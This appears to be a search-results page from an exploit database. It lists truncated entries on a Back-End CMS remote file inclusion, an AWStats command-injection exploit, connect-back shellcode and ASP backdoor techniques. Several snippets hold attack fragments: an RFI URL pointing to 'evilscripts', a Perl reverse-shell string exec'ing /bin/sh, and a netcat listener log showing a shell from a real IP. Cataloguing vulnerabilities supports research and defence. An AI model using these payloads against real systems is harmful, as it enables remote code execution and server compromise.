2707 matches found
CVE-2006-2682
CVE-2006-2682 concerns a PHP remote file inclusion in Back-End CMS. The affected product is Back-End CMS 0.7.2.1 and earlier, where the vulnerability exists in BE_config.php. An attacker can supply a URL in the _PSL[classdir] parameter, enabling the execution of arbitrary PHP code on the server. ...
CVE-2006-2682
PHP remote file inclusion vulnerability in BEconfig.php in Back-End CMS 0.7.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PSLclassdir parameter...
CVE-2006-2682: Undefined Security Weakness
PHP remote file inclusion vulnerability in BEconfig.php in Back-End CMS 0.7.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PSLclassdir parameter...
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script: http://www.back-end.o...
Back-End CMS 0.7.2.2 - 'BE_config.php' Remote File Inclusion
DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script: http://www.back-end.org / BEconfig.php Line 27-31: code...
Back-End CMS 0.7.2.2 - BE_config.php Remote File Inclusion
Back-End CMS 0.7.2.2 - BEconfig.php Remote File Inclusion DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script...
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Back-End CMS start'main'; / Use Example ... /code / http://www.site.com/Back-Endpath/BEconfig.php?PSLclassdir=evilscripts Elo ;- 0day.today 2018-03-19...
ASP database plug horse small conference-vulnerability warning-the black bar safety net
With the development of technology, ASP database plug horse also is not what fresh stuff, believe you played this. Oh, and that you have not met insert the asp code is spaces apart case? i.e. insertion of each of the characters between the There are spaces for? Now, let us to solve this problem...
FreeBSD : snort -- Back Orifice preprocessor buffer overflow vulnerability (97d45e95-3ffc-11da-a263-0001020eed82)
Jennifer Steffens reports : The Back Orifice preprocessor contains a stack-based buffer overflow. This vulnerability could be leveraged by an attacker to execute code remotely on a Snort sensor where the Back Orifice preprocessor is enabled. However, there are a number of factors that make remote...
linux/x86 SET_IP() Connectback Shellcode 82 bytes
Exploit for linux/x86 platform in category shellcode ================================================= linux/x86 SETIP Connectback Shellcode 82 bytes ================================================= /--------------------------------------------------------------------------- 82 byte Connectback...
AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit
Exploit for cgi platform in category web applications =============================================================== AWStats &CLIENT";openSTDOUT,"&CLIENT";openSTDERR,"&CLIENT";ifforkexec "/bin/sh"; exit0; ;''; class rbawstatsMigrate: url = '' user = '' password = '' auth = False chost =False...
AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit
No description provided by source. !/usr/bin/env python http://secunia.com/advisories/19969/ by [email protected] May 5, 2006 - HAPPY CINCO DE MAYO HAPPY BIRTHDAY DAD private plz redsand@jinxy / $ nc -l -p 31337 -v listening on any 31337 ... connect to 65.99.197.147 from blacksecurity.org...
bl4ck_awstats_migrate_cmd_inj.py.txt
!/usr/bin/env python http://secunia.com/advisories/19969/ by [email protected] May 5, 2006 - HAPPY CINCO DE MAYO HAPPY BIRTHDAY DAD private plz redsand@jinxy / $ nc -l -p 31337 -v listening on any 31337 ... connect to 65.99.197.147 from blacksecurity.org 65.99.197.147 53377 id uid=81apach...
linux/amd64 connect-back semi-stealth shellcode 88+ bytes
Exploit for linux/amd64 platform in category shellcode ========================================================= linux/amd64 connect-back semi-stealth shellcode 88+ bytes ========================================================= include include include include include include include / usual rant...
linux/amd64 - connect-back semi-stealth shellcode 88+ bytes
linux/amd64 connect-back semi-stealth shellcode 88+ bytes. Shellcode exploit for linamd64 platform include include include include include include include / usual rant here.. this is just a doodle.. i was curious about the amd64 and since i dont think a simple exec /bin/sh is worth releasing i gi...
linux/x86 - xor-encoded Connect Back Shellcode 371 bytes
linux/x86 xor-encoded Connect Back Shellcode 371 bytes. Shellcode exploit for linx86 platform linux/x86 xor-encoded Connect Back Shellcode 371 bytes https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/13366.tar.gz black-RXenc-con-back.tar.gz milw0rm.com 2006-04-1...
linux/x86 xor-encoded Connect Back Shellcode 371 bytes
Exploit for linux/x86 platform in category shellcode ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes...
linux/x86 xor-encoded Connect Back Shellcode 371 bytes
No description provided by source. linux/x86 xor-encoded Connect Back Shellcode 371 bytes http://www.milw0rm.com/sploits/black-RXenc-con-back.tar.gz milw0rm.com 2006-04-18...
CVE-2006-1590: Undefined Security Weakness
Cross-site scripting XSS vulnerability in the PrintFreshPage function in 1 Basic Analysis and Security Engine BASE 1.2.4 and 2 Analysis Console for Intrusion Databases ACID 0.9.6b23 allows remote attackers to inject arbitrary web script or HTML via the a back parameter to basegraphmain.php, b...
ASP back door of the place method-vulnerability warning-the black bar safety net
Transmission in the broiler on the asp back door, even if you modified the code, escaped the virus, but a careful administrator will also be found on his website, the web directory will be more than one asp file. For this question, I think the two approaches, and nothing technical at all, just an...